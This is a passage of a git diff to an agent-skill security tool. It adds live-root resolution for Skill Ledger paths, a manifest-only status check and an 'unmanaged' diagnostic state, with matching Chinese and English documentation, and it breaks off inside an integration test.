diff --git a/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/config.py b/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/config.py index 250143efd..00247d3d1 100644 --- a/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/config.py +++ b/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/config.py @@ -136,6 +136,11 @@ def effective_skill_dir_entries(config: dict[str, Any]) -> list[str]: return _compact_skill_dirs(entries) +def managed_skill_dir_entries(config: dict[str, Any]) -> list[str]: + """Return only explicitly managed skill directory entries.""" + return _compact_skill_dirs([str(v) for v in config.get("managedSkillDirs", [])]) + + def deprecated_skill_dir_entries(config: dict[str, Any]) -> list[str]: """Return deprecated skillDirs entries retained only for diagnostics.""" entries = config.get(_DEPRECATED_SKILL_DIRS_KEY) @@ -196,11 +201,22 @@ def resolve_skill_dirs(config: dict[str, Any] | None = None) -> list[Path]: """ if config is None: config = load_config() + return _resolve_skill_dir_entries(effective_skill_dir_entries(config)) + + +def resolve_managed_skill_dirs(config: dict[str, Any] | None = None) -> list[Path]: + """Expand only explicitly managed source/backing skill directories.""" + if config is None: + config = load_config() + return _resolve_skill_dir_entries(managed_skill_dir_entries(config)) + +def _resolve_skill_dir_entries(entries: list[str]) -> list[Path]: + """Expand skill directory entries into concrete directories.""" skill_dirs: list[Path] = [] seen: set[Path] = set() - for entry in effective_skill_dir_entries(config): + for entry in entries: entry = str(entry) expanded = Path(entry).expanduser() @@ -301,6 +317,15 @@ def is_covered(skill_dir: Path, config: dict[str, Any] | None = None) -> bool: return any(d.resolve() == resolved_target for d in all_dirs) +def is_managed_covered(skill_dir: Path, config: dict[str, Any] | None = None) -> bool: + """Return ``True`` if *skill_dir* is explicitly covered by managedSkillDirs.""" + if config is None: + config = load_config() + resolved_target = skill_dir.resolve() + managed_dirs = resolve_managed_skill_dirs(config) + return any(d.resolve() == resolved_target for d in managed_dirs) + + def remember_skill_dir( skill_dir: Path, config: dict[str, Any] | None = None ) -> str | None: @@ -319,7 +344,7 @@ def remember_skill_dir( if config is None: config = load_config() - if is_covered(skill_dir, config): + if is_managed_covered(skill_dir, config): return None parent = skill_dir.parent diff --git a/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/certifier.py b/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/certifier.py index 7b35bd611..358e9886b 100644 --- a/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/certifier.py +++ b/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/certifier.py @@ -16,6 +16,7 @@ compute_file_hashes, diff_file_hashes, ) +from agent_sec_cli.skill_ledger.core.live_root import require_live_skill_dir from agent_sec_cli.skill_ledger.core.manifest_integrity import ( manifest_hash_error, verify_manifest_integrity, @@ -465,6 +466,7 @@ def scan_skill( force: bool = False, ) -> dict[str, Any]: """Run built-in scanners as needed and record signed scan results.""" + skill_dir = str(require_live_skill_dir(skill_dir, backend)) validate_skill_dir(skill_dir) _remember_skill_dir_best_effort(skill_dir) @@ -579,6 +581,7 @@ def certify( "--findings is required for certify; use 'skill-ledger scan' for built-in scanners", ) + skill_dir = str(require_live_skill_dir(skill_dir, backend)) validate_skill_dir(skill_dir) _remember_skill_dir_best_effort(skill_dir) diff --git a/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/checker.py b/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/checker.py index e9a4a116d..b35e9006d 100644 --- a/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/checker.py +++ b/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/checker.py @@ -18,6 +18,10 @@ compute_file_hashes, diff_file_hashes, ) +from agent_sec_cli.skill_ledger.core.live_root import require_live_skill_dir +from agent_sec_cli.skill_ledger.core.manifest_helpers import ( + snapshot_matches_manifest, +) from agent_sec_cli.skill_ledger.core.manifest_integrity import ( MISSING_SIGNATURE_ERROR, manifest_hash_error, @@ -26,6 +30,7 @@ from agent_sec_cli.skill_ledger.core.version_chain import ( latest_json_path, load_latest_manifest, + snapshot_dir_path, ) from agent_sec_cli.skill_ledger.models.manifest import ( SignedManifest, @@ -64,7 +69,8 @@ def check(skill_dir: str, backend: SigningBackend) -> dict[str, Any]: ``skillName``, ``versionId``, ``createdAt``, ``updatedAt``, ``fileCount``, ``manifestHash``. """ - # Step 0: Validate skill directory + # Step 0: Validate skill directory and avoid SkillFS runtime views. + skill_dir = str(require_live_skill_dir(skill_dir, backend)) validate_skill_dir(skill_dir) skill_name = Path(skill_dir).name @@ -160,6 +166,72 @@ def check(skill_dir: str, backend: SigningBackend) -> dict[str, Any]: return {**meta, "status": "pass"} +def manifest_only_status(skill_dir: str, backend: SigningBackend) -> dict[str, Any]: + """Return latest trusted manifest status without hashing root files.""" + validate_skill_dir(skill_dir) + skill_name = Path(skill_dir).name + try: + manifest = load_latest_manifest(skill_dir) + except (json.JSONDecodeError, ValueError) as exc: + if latest_json_path(skill_dir).is_file(): + return { + "status": "tampered", + "skillName": skill_name, + "versionId": None, + "createdAt": None, + "updatedAt": None, + "fileCount": None, + "manifestHash": None, + "reason": f"manifest file is corrupted: {exc}", + } + manifest = None + if manifest is None: + return { + "status": "none", + "skillName": skill_name, + "versionId": None, + "createdAt": None, + "updatedAt": None, + "fileCount": None, + "manifestHash": None, + } + + meta = _manifest_metadata(manifest, skill_dir) + hash_error = manifest_hash_error(manifest) + if hash_error is not None: + return {**meta, "status": "tampered", "reason": hash_error} + + signature_valid, signature_error = verify_manifest_signature(manifest, backend) + if not signature_valid and signature_error == MISSING_SIGNATURE_ERROR: + return { + **meta, + "status": "none", + "reason": "manifest has no signature (legacy)", + } + if not signature_valid: + return {**meta, "status": "tampered", "reason": signature_error} + + if not snapshot_matches_manifest( + snapshot_dir_path(skill_dir, manifest.versionId), + manifest, + ): + return { + **meta, + "status": "tampered", + "reason": "snapshot does not match manifest", + } + + if manifest.scanStatus in {"deny", "warn"}: + return { + **meta, + "status": manifest.scanStatus, + "findings": _collect_findings(manifest), + } + if manifest.scanStatus == "none": + return {**meta, "status": "none"} + return {**meta, "status": "pass"} + + def _collect_findings(manifest: SignedManifest) -> list[dict[str, Any]]: """Extract findings from all scans in the manifest.""" return [f for scan in manifest.scans for f in scan.findings] diff --git a/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/decision.py b/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/decision.py index c3c52c748..0d8947943 100644 --- a/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/decision.py +++ b/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/decision.py @@ -4,19 +4,26 @@ import fcntl import json +import logging import shutil +from collections.abc import Iterator from contextlib import contextmanager from pathlib import Path from typing import Any from agent_sec_cli.skill_ledger.config import resolve_activation_policy from agent_sec_cli.skill_ledger.core.certifier import _sign_manifest, scan_skill -from agent_sec_cli.skill_ledger.core.checker import check +from agent_sec_cli.skill_ledger.core.checker import check, manifest_only_status from agent_sec_cli.skill_ledger.core.exposure import build_exposure_summary from agent_sec_cli.skill_ledger.core.file_hasher import ( compute_file_hashes, diff_file_hashes, ) +from agent_sec_cli.skill_ledger.core.live_root import ( + live_skill_dir_manageability, + require_live_skill_dir, + resolve_live_skill_dir, +) from agent_sec_cli.skill_ledger.core.manifest_helpers import ( safe_load_latest_manifest, snapshot_matches_manifest, @@ -49,6 +56,7 @@ _ALLOWING_DECISIONS = {"allow", "always_allow", "rollback"} _ROOT_COPY_EXCLUDED = {SKILL_META_DIR, ".git"} _DECISION_LOCK = "decision.lock" +logger = logging.getLogger(__name__) def decide_skill( @@ -60,12 +68,13 @@ def decide_skill( reason: str | None = None, ) -> dict[str, Any]: """Apply a user decision to a skill and refresh activation.""" - validate_skill_dir(skill_dir) + live_skill_dir = str(require_live_skill_dir(skill_dir, backend)) + validate_skill_dir(live_skill_dir) if action == "rollback": if not target_version_id: - target_version_id = _default_rollback_target(skill_dir, backend) + target_version_id = _default_rollback_target(live_skill_dir, backend) return rollback_skill( - skill_dir, + live_skill_dir, backend, target_version_id=target_version_id, reason=reason, @@ -75,13 +84,16 @@ def decide_skill( "decision action must be one of: allow, always_allow, block, rollback" ) - with _skill_decision_lock(skill_dir): - manifest, status_result = _ensure_current_signed_version(skill_dir, backend) + with _skill_decision_lock(live_skill_dir): + manifest, status_result = _load_latest_decidable_manifest( + live_skill_dir, + backend, + ) manifest.userDecision = UserDecision(action=action, reason=reason) - _sign_and_save(skill_dir, manifest, backend) - activation = _refresh_activation(skill_dir, backend) + _sign_and_save(live_skill_dir, manifest, backend) + activation = _refresh_activation(live_skill_dir, backend) return _decision_payload( - skill_dir, + live_skill_dir, manifest, status=status_result.get("status"), activation=activation, @@ -90,9 +102,10 @@ def decide_skill( def clear_decision(skill_dir: str, backend: SigningBackend) -> dict[str, Any]: """Remove the latest version's user decision and refresh activation.""" - validate_skill_dir(skill_dir) - with _skill_decision_lock(skill_dir): - manifest = load_latest_manifest(skill_dir) + live_skill_dir = str(require_live_skill_dir(skill_dir, backend)) + validate_skill_dir(live_skill_dir) + with _skill_decision_lock(live_skill_dir): + manifest = load_latest_manifest(live_skill_dir) if manifest is None: raise SkillLedgerError( "cannot clear decision: skill has no signed manifest" @@ -103,9 +116,14 @@ def clear_decision(skill_dir: str, backend: SigningBackend) -> dict[str, Any]: f"cannot clear decision on untrusted manifest: {error}" ) manifest.userDecision = None - _sign_and_save(skill_dir, manifest, backend) - activation = _refresh_activation(skill_dir, backend) - return _decision_payload(skill_dir, manifest, status=None, activation=activation) + _sign_and_save(live_skill_dir, manifest, backend) + activation = _refresh_activation(live_skill_dir, backend) + return _decision_payload( + live_skill_dir, + manifest, + status=None, + activation=activation, + ) def rollback_skill( @@ -116,10 +134,15 @@ def rollback_skill( reason: str | None = None, ) -> dict[str, Any]: """Restore a trusted snapshot to the root and record rollback as a new version.""" - validate_skill_dir(skill_dir) - with _skill_decision_lock(skill_dir): - target_manifest = _load_trusted_version(skill_dir, target_version_id, backend) - target_snapshot = snapshot_dir_path(skill_dir, target_version_id) + live_skill_dir = str(require_live_skill_dir(skill_dir, backend)) + validate_skill_dir(live_skill_dir) + with _skill_decision_lock(live_skill_dir): + target_manifest = _load_trusted_version( + live_skill_dir, + target_version_id, + backend, + ) + target_snapshot = snapshot_dir_path(live_skill_dir, target_version_id) if not target_snapshot.is_dir(): raise SkillLedgerError(f"rollback snapshot not found: {target_version_id}") if not snapshot_matches_manifest(target_snapshot, target_manifest): @@ -127,11 +150,11 @@ def rollback_skill( f"rollback snapshot does not match manifest: {target_version_id}" ) - backup_dir = _backup_root(skill_dir) + backup_dir = _backup_root(live_skill_dir) try: - _replace_root_from_snapshot(skill_dir, target_snapshot) - scan_skill(skill_dir, backend, force=True) - manifest = load_latest_manifest(skill_dir) + _replace_root_from_snapshot(live_skill_dir, target_snapshot) + scan_skill(live_skill_dir, backend, force=True) + manifest = load_latest_manifest(live_skill_dir) if manifest is None: raise SkillLedgerError("rollback scan did not create a manifest") manifest.userDecision = UserDecision( @@ -139,14 +162,14 @@ def rollback_skill( targetVersionId=target_version_id, reason=reason, ) - _sign_and_save(skill_dir, manifest, backend) + _sign_and_save(live_skill_dir, manifest, backend) except BaseException: - _replace_root_from_snapshot(skill_dir, backup_dir) + _replace_root_from_snapshot(live_skill_dir, backup_dir) raise - activation = _refresh_activation(skill_dir, backend) + activation = _refresh_activation(live_skill_dir, backend) return _decision_payload( - skill_dir, + live_skill_dir, manifest, status=manifest.scanStatus, activation=activation, @@ -165,18 +188,46 @@ def show_skill( resolved_policy = resolve_activation_policy( {"activationPolicy": policy} if policy is not None else None ) - status_result = check(skill_dir, backend) + live_resolution = resolve_live_skill_dir(skill_dir, backend) + managed, manageability_reason = live_skill_dir_manageability(live_resolution) + if not managed: + logger.info( + "skill-ledger show skipped unmanaged skill root: skill_dir=%s reason=%s", + skill_dir, + manageability_reason, + ) + return _unmanaged_show_payload( + skill_dir, + policy=resolved_policy, + reason=manageability_reason, + ) + effective_skill_dir = ( + str(live_resolution.skill_dir) + if live_resolution.skill_dir is not None + else skill_dir + ) + status_result = ( + check(effective_skill_dir, backend) + if live_resolution.skill_dir is not None + else manifest_only_status(skill_dir, backend) + ) summary = build_exposure_summary( - skill_dir, + effective_skill_dir, backend, status_result=status_result, ) - latest_manifest = safe_load_latest_manifest(skill_dir) + latest_manifest = safe_load_latest_manifest(effective_skill_dir) active_version = summary.get("activeVersionId") active_manifest = ( - load_version_manifest(skill_dir, active_version) if active_version else None + load_version_manifest(effective_skill_dir, active_version) + if active_version + else None + ) + root_matches_active = ( + _root_matches_manifest(effective_skill_dir, active_manifest) + if live_resolution.skill_dir is not None + else None ) - root_matches_active = _root_matches_manifest(skill_dir, active_manifest) consistency_reason = _show_consistency_reason( summary=summary, latest_manifest=latest_manifest, @@ -199,6 +250,35 @@ def show_skill( } +def _unmanaged_show_payload( + skill_dir: str, + *, + policy: str, + reason: str, +) -> dict[str, Any]: + return { + "latestStatus": "unmanaged", + "latestVersionId": None, + "activeVersionId": None, + "target": None, + "userDecision": None, + "reasonCode": "unmanaged_skill_root", + "message": None, + "managed": False, + "manageabilityReason": reason, + "skillName": Path(skill_dir).name, + "activationPolicy": policy, + "latest": None, + "active": None, + "rootMatchesActive": None, + "consistencyReason": ( + f"skill root is not managed by the current Skill Ledger daemon: {reason}" + ), + "findings": [], + "warnings": [], + } + + def export_skill( skill_dir: str, backend: SigningBackend, @@ -207,7 +287,12 @@ def export_skill( output: str, policy: str | None = None, ) -> dict[str, Any]: - """Export a signed snapshot plus manifest and findings for user review.""" + """Export a signed snapshot plus manifest and findings for user review. + + This is a read-only ledger snapshot review path. It intentionally does not + require a manageable live root for ``latest`` or explicit version exports, + so users can inspect hidden risky snapshots from SkillFS runtime views. + """ validate_skill_dir(skill_dir) version_id = _resolve_export_version(skill_dir, backend, version, policy=policy) manifest = _load_trusted_version(skill_dir, version_id, backend) @@ -242,21 +327,29 @@ def export_skill( } -def _ensure_current_signed_version( +def _load_latest_decidable_manifest( skill_dir: str, backend: SigningBackend, ) -> tuple[SignedManifest, dict[str, Any]]: - status_result = check(skill_dir, backend) - if status_result.get("status") not in _TRUSTED_CURRENT_STATUSES: - scan_skill(skill_dir, backend, force=True) - status_result = check(skill_dir, backend) + manifest = load_latest_manifest(skill_dir) + if manifest is None: + raise SkillLedgerError("cannot decide: skill has no signed manifest") + valid, error = verify_manifest_integrity(manifest, backend) + if not valid: + raise SkillLedgerError(f"cannot decide on untrusted manifest: {error}") + if not snapshot_matches_manifest( + snapshot_dir_path(skill_dir, manifest.versionId), + manifest, + ): + raise SkillLedgerError( + f"cannot decide: snapshot does not match manifest: {manifest.versionId}" + ) + status_result = manifest_only_status(skill_dir, backend) if status_result.get("status") not in _TRUSTED_CURRENT_STATUSES: raise SkillLedgerError( - f"cannot decide on untrusted current skill state: {status_result.get('status')}" + "cannot decide on untrusted latest skill version: " + f"{status_result.get('status')}" ) - manifest = load_latest_manifest(skill_dir) - if manifest is None: - raise SkillLedgerError("scan did not create a signed manifest") return manifest, status_result @@ -491,7 +584,7 @@ def _collect_findings(manifest: SignedManifest) -> list[dict[str, Any]]: @contextmanager -def _skill_decision_lock(skill_dir: str): +def _skill_decision_lock(skill_dir: str) -> Iterator[None]: meta = ensure_skill_meta(skill_dir) lock_path = meta / _DECISION_LOCK with lock_path.open("a", encoding="utf-8") as lock_file: diff --git a/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/exposure.py b/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/exposure.py index 9c2604bb1..ca6409a36 100644 --- a/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/exposure.py +++ b/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/exposure.py @@ -2,13 +2,14 @@ from __future__ import annotations +import json from pathlib import Path from typing import Any from agent_sec_cli.skill_ledger.activation_policy import ( allowed_scan_statuses_for_policy, ) -from agent_sec_cli.skill_ledger.core.checker import check +from agent_sec_cli.skill_ledger.core.checker import manifest_only_status from agent_sec_cli.skill_ledger.core.manifest_helpers import ( safe_load_latest_manifest, snapshot_matches_manifest, @@ -53,7 +54,7 @@ def build_exposure_summary( """ validate_skill_dir(skill_dir) if status_result is None: - status_result = check(skill_dir, backend) + status_result = manifest_only_status(skill_dir, backend) latest_status = str(status_result.get("status", "unknown")) latest_manifest = safe_load_latest_manifest(skill_dir) latest_version = _latest_version_id(status_result, latest_manifest) diff --git a/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/live_root.py b/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/live_root.py new file mode 100644 index 000000000..00af67e06 --- /dev/null +++ b/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/live_root.py @@ -0,0 +1,219 @@ +"""Resolve Skill Ledger operations away from SkillFS runtime views.""" + +from __future__ import annotations + +import os +from dataclasses import dataclass +from pathlib import Path + +from agent_sec_cli.skill_ledger.config import resolve_managed_skill_dirs +from agent_sec_cli.skill_ledger.core.file_hasher import ( + compute_file_hashes, + diff_file_hashes, +) +from agent_sec_cli.skill_ledger.core.manifest_helpers import ( + safe_load_latest_manifest, + snapshot_matches_manifest, +) +from agent_sec_cli.skill_ledger.core.manifest_integrity import ( + verify_manifest_integrity, +) +from agent_sec_cli.skill_ledger.core.version_chain import snapshot_dir_path +from agent_sec_cli.skill_ledger.errors import SkillLedgerError +from agent_sec_cli.skill_ledger.models.manifest import SignedManifest +from agent_sec_cli.skill_ledger.signing.base import SigningBackend +from agent_sec_cli.skill_ledger.utils import validate_skill_dir + +_MANAGED_RESOLUTION_REASONS = frozenset({"configured_input", "configured"}) + + +@dataclass(frozen=True) +class LiveSkillDirResolution: + """Result of resolving a user-visible skill path to its live source path.""" + + input_dir: Path + skill_dir: Path | None + resolved: bool + reason: str | None = None + + +def resolve_live_skill_dir( + skill_dir: str | Path, + backend: SigningBackend, +) -> LiveSkillDirResolution: + """Resolve *skill_dir* to the live backing root used for ledger writes. + + SkillFS can expose ordinary files from an activation snapshot while + exposing live ``.skill-meta``. Once a signed manifest exists, ordinary + files at the input path are therefore not enough evidence that the input is + the live source. We prefer configured Skill Ledger roots and use the input + path itself only when its root files match the latest signed manifest. + """ + input_dir = Path(skill_dir) + validate_skill_dir(str(input_dir)) + configured_input = _configured_input_skill_dir(input_dir) + if configured_input is not None: + return LiveSkillDirResolution( + input_dir=input_dir, + skill_dir=configured_input, + resolved=True, + reason="configured_input", + ) + + input_manifest = safe_load_latest_manifest(input_dir) + if input_manifest is None: + return LiveSkillDirResolution( + input_dir=input_dir, + skill_dir=input_dir, + resolved=True, + reason="no_manifest", + ) + if not _trusted_latest_manifest(input_dir, input_manifest, backend): + return LiveSkillDirResolution( + input_dir=input_dir, + skill_dir=None, + resolved=False, + reason="untrusted_metadata", + ) + + candidates = _matching_configured_skill_dirs(input_dir, input_manifest, backend) + if len(candidates) == 1: + return LiveSkillDirResolution( + input_dir=input_dir, + skill_dir=candidates[0], + resolved=True, + reason="configured", + ) + if len(candidates) > 1: + names = ", ".join(str(path) for path in candidates) + raise SkillLedgerError(f"ambiguous live skill roots for {input_dir}: {names}") + + if _root_matches_manifest(input_dir, input_manifest): + return LiveSkillDirResolution( + input_dir=input_dir, + skill_dir=input_dir, + resolved=True, + reason="input_root_matches_latest", + ) + + return LiveSkillDirResolution( + input_dir=input_dir, + skill_dir=None, + resolved=False, + reason="unresolved_runtime_view", + ) + + +def _configured_input_skill_dir(input_dir: Path) -> Path | None: + try: + input_resolved = input_dir.resolve() + except OSError: + return None + for candidate in resolve_managed_skill_dirs(): + if candidate.name != input_dir.name: + continue + try: + if candidate.resolve() == input_resolved: + return candidate + except OSError: + continue + return None + + +def require_live_skill_dir( + skill_dir: str | Path, + backend: SigningBackend, +) -> Path: + """Return the live source root or raise a user-facing error.""" + resolution = resolve_live_skill_dir(skill_dir, backend) + if resolution.skill_dir is not None: + return resolution.skill_dir + raise SkillLedgerError( + f"cannot resolve live skill root for {Path(skill_dir)}; the path may be " + "a SkillFS runtime view. Run the command against a Skill Ledger managed " + "source/backing skill path or ensure managedSkillDirs points to " + "source/backing roots." + ) + + +def live_skill_dir_manageability( + resolution: LiveSkillDirResolution, +) -> tuple[bool, str]: + """Return whether *resolution* names a daemon-manageable live root.""" + if resolution.skill_dir is None: + return ( + False, + "skill root is not resolvable from managedSkillDirs", + ) + if resolution.reason not in _MANAGED_RESOLUTION_REASONS: + return ( + False, + "skill root is not configured in managedSkillDirs as a source/backing root", + ) + return ledger_update_access(resolution.skill_dir) + + +def ledger_update_access(skill_dir: str | Path) -> tuple[bool, str]: + """Return whether current process can update this skill's ledger state.""" + root = Path(skill_dir) + meta = root / ".skill-meta" + writable_target = meta if meta.exists() else root + if os.access(writable_target, os.W_OK): + return True, "skill root is managed and ledger state is writable" + if meta.exists(): + return False, f"ledger metadata is not writable: {meta}" + return False, f"skill root is not writable for ledger bootstrap: {root}" + + +def _matching_configured_skill_dirs( + input_dir: Path, + input_manifest: SignedManifest, + backend: SigningBackend, +) -> list[Path]: + candidates: list[Path] = [] + seen: set[Path] = set() + for candidate in resolve_managed_skill_dirs(): + if candidate.name != input_dir.name: + continue + try: + resolved = candidate.resolve() + except OSError: + continue + if resolved in seen: + continue + seen.add(resolved) + manifest = safe_load_latest_manifest(candidate) + if manifest is None: + continue + if not _same_manifest(manifest, input_manifest): + continue + if not _trusted_latest_manifest(candidate, manifest, backend): + continue + candidates.append(candidate) + return candidates + + +def _same_manifest(left: SignedManifest, right: SignedManifest) -> bool: + return left.versionId == right.versionId and left.manifestHash == right.manifestHash + + +def _trusted_latest_manifest( + skill_dir: Path, + manifest: SignedManifest, + backend: SigningBackend, +) -> bool: + valid, _ = verify_manifest_integrity(manifest, backend) + if not valid: + return False + return snapshot_matches_manifest( + snapshot_dir_path(skill_dir, manifest.versionId), + manifest, + ) + + +def _root_matches_manifest(skill_dir: Path, manifest: SignedManifest) -> bool: + try: + root_hashes = compute_file_hashes(skill_dir) + except ValueError: + return False + return bool(diff_file_hashes(manifest.fileHashes, root_hashes)["match"]) diff --git a/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/resolver.py b/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/resolver.py index 0ddd253af..1667ce74c 100644 --- a/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/resolver.py +++ b/src/agent-sec-core/agent-sec-cli/src/agent_sec_cli/skill_ledger/core/resolver.py @@ -22,12 +22,14 @@ DEFAULT_ACTIVATION_POLICY, validate_activation_policy, ) +from agent_sec_cli.skill_ledger.core.checker import check from agent_sec_cli.skill_ledger.core.exposure import ( build_exposure_summary, exposure_target, is_pending_decision_target, pending_decision_target, ) +from agent_sec_cli.skill_ledger.core.live_root import require_live_skill_dir from agent_sec_cli.skill_ledger.core.version_chain import ( SKILL_META_DIR, ensure_skill_meta, @@ -111,9 +113,15 @@ def resolve_activation( """ policy = validate_activation_policy(policy) + skill_dir = str(require_live_skill_dir(skill_dir, backend)) validate_skill_dir(skill_dir) skill_name = Path(skill_dir).name - summary = build_exposure_summary(skill_dir, backend) + status_result = check(skill_dir, backend) + summary = build_exposure_summary( + skill_dir, + backend, + status_result=status_result, + ) target = summary["target"] active_version = summary["activeVersionId"] @@ -168,7 +176,13 @@ def find_latest_activation_snapshot( ) -> tuple[str, str] | None: """Return ``(version_id, target)`` for the current exposure summary.""" validate_activation_policy(policy) - summary = build_exposure_summary(str(skill_dir), backend) + live_skill_dir = require_live_skill_dir(skill_dir, backend) + status_result = check(str(live_skill_dir), backend) + summary = build_exposure_summary( + str(live_skill_dir), + backend, + status_result=status_result, + ) version_id = summary["activeVersionId"] target = summary["target"] if version_id is None or target is None: diff --git a/src/agent-sec-core/docs/design/SKILL_LEDGER_CN.md b/src/agent-sec-core/docs/design/SKILL_LEDGER_CN.md index 2ac7f3116..2d7609d54 100644 --- a/src/agent-sec-core/docs/design/SKILL_LEDGER_CN.md +++ b/src/agent-sec-core/docs/design/SKILL_LEDGER_CN.md @@ -654,6 +654,7 @@ CLI 不可用、执行失败、超时或输出不可解析属于基础设施异 | `userDecision != null` | 必须静默，不弹框、不告警。 | | `latestStatus == pass` 且 active 为 latest | 静默。 | | `latestStatus == warn` 且 active 为 latest | 静默；`warn` 与 `pass` 在默认暴露逻辑中对齐。 | +| `latestStatus == unmanaged` | 静默；这是 daemon 不可管理 root 的诊断状态，不进入用户决策流，即使 hook policy 为 `block` 也放行。 | | 无用户决策，latest 为 `deny` / `none` / `drifted` / `tampered`，且 active 回退到旧 `pass` / `warn` | 展示 message，说明 latest 风险状态和当前 active 版本。 | | 无用户决策，latest 风险状态且没有真实 fallback | 展示 message，说明当前暴露安全 pending review stub，并提示用户执行 `show` / `export` / `decide`。 | diff --git a/src/agent-sec-core/docs/guide/SKILL_LEDGER_USER_GUIDE_CN.md b/src/agent-sec-core/docs/guide/SKILL_LEDGER_USER_GUIDE_CN.md index 1d62bd00a..19436d17f 100644 --- a/src/agent-sec-core/docs/guide/SKILL_LEDGER_USER_GUIDE_CN.md +++ b/src/agent-sec-core/docs/guide/SKILL_LEDGER_USER_GUIDE_CN.md @@ -208,7 +208,7 @@ Skill Ledger 推荐与 SkillFS 联合使用：SkillFS 捕获 Skill 变更，通 | `debug` | `message != null` 时只写 debug 诊断并放行。 | | `block` | `message != null` 时直接阻断，并把 message 作为原因或告警信息。 | -`message` 的触发规则由 Skill Ledger 统一决定：用户已有 `allow` / `always_allow` / `rollback` / `block` 决策时不提示；latest 为 `pass` 或 `warn` 且可直接暴露时不提示；无用户决策且 latest 为 `deny` / `none` / `drifted` / `tampered` 时提示，并说明当前 active 是 fallback 版本还是安全 pending review stub。 +`message` 的触发规则由 Skill Ledger 统一决定：用户已有 `allow` / `always_allow` / `rollback` / `block` 决策时不提示；latest 为 `pass` 或 `warn` 且可直接暴露时不提示；无用户决策且 latest 为 `deny` / `none` / `drifted` / `tampered` 时提示，并说明当前 active 是 fallback 版本还是安全 pending review stub。`latestStatus=unmanaged` 表示当前 daemon 无法管理该 root，无法写 `.skill-meta` 或记录用户决策，因此只作为诊断返回，`message=null`，所有 hook policy 包括 `block` 都静默放行。 OpenClaw 默认 `enabled=true, policy="ask"`；Hermes 默认 `enabled=true, policy="ask"`；copilot-shell 默认 manifest 注册 `skill-ledger` PreToolUse hook，并通过 `SKILL_LEDGER_HOOK_POLICY` 控制 policy。CLI 不可用、执行失败、超时或输出不可解析时始终保持 fail-open，避免基础设施异常阻断 Skill 加载。 diff --git a/src/agent-sec-core/hermes-plugin/README.md b/src/agent-sec-core/hermes-plugin/README.md index 105351247..505d6cb4a 100644 --- a/src/agent-sec-core/hermes-plugin/README.md +++ b/src/agent-sec-core/hermes-plugin/README.md @@ -131,6 +131,7 @@ Hermes 支持的 hook 及其回调签名： - `policy = "warn"`：warning-only 兼容模式；summary `message` 非空时缓存为本轮告警，并通过 `transform_llm_output` 追加到最终回复开头，确保用户可见。 - `policy = "block"`：summary `message` 非空时直接返回 Hermes block 结果。 +- `latestStatus = "unmanaged"` 是 Skill Ledger 诊断状态，summary `message` 为 `null`，包括 `block` 在内的所有 policy 都静默放行。 - 未配置 `policy` 的旧配置仍兼容：`enable_block = true` 映射为 `block`，`enable_block = false` 映射为 `warn`。 - 当前版本仅覆盖 Hermes 默认本地技能目录 `~/.hermes/skills`，按 Hermes `skill_view` 的本地目录规则解析 `category/skill` 或裸 skill 名称；`skills.external_dirs` 和 diff --git a/src/agent-sec-core/openclaw-plugin/README.md b/src/agent-sec-core/openclaw-plugin/README.md index 31e8610d6..7b7eb38b1 100644 --- a/src/agent-sec-core/openclaw-plugin/README.md +++ b/src/agent-sec-core/openclaw-plugin/README.md @@ -330,6 +330,7 @@ Default behavior: - `policy: "warn"` logs warning-level diagnostics for non-empty `show.message` but allows the read. - `policy: "debug"` logs debug diagnostics for non-empty `show.message` and allows the read. - `policy: "block"` blocks the read when `show.message` is non-empty and uses that message as the block reason. +- `latestStatus: "unmanaged"` is a Skill Ledger diagnostic state with `show.message: null`; every policy, including `block`, allows it silently. - Legacy configs without `policy` still map `enableBlock: true` to `block` and `enableBlock: false` to `warn`. `blockStatuses` is accepted as deprecated configuration metadata but no longer controls runtime decisions. diff --git a/src/agent-sec-core/tests/integration-test/skill-ledger/test_skill_ledger_integration.py b/src/agent-sec-core/tests/integration-test/skill-ledger/test_skill_ledger_integration.py index 31e0b244d..0fae01f49 100644 --- a/src/agent-sec-core/tests/integration-test/skill-ledger/test_skill_ledger_integration.py +++ b/src/agent-sec-core/tests/integration-test/skill-ledger/test_skill_ledger_integration.py @@ -30,8 +30,9 @@ import agent_sec_cli.security_events as security_events import pytest from agent_sec_cli.cli import app as cli_app +from agent_sec_cli.skill_ledger import config as config_module from agent_sec_cli.skill_ledger.core import decision as decision_core -from agent_sec_cli.skill_ledger.core import exposure as exposure_core +from agent_sec_cli.skill_ledger.core import live_root as live_root_core from agent_sec_cli.skill_ledger.core import resolver as resolver_core from agent_sec_cli.skill_ledger.core.resolver import resolve_activation from agent_sec_cli.skill_ledger.errors import KeyNotFoundError @@ -172,6 +173,19 @@ def assert_pending_stub( assert not (stub_dir / rel).exists() +def make_fuse_view_from_snapshot( + backing_skill: Path, parent: Path, version: str +) -> 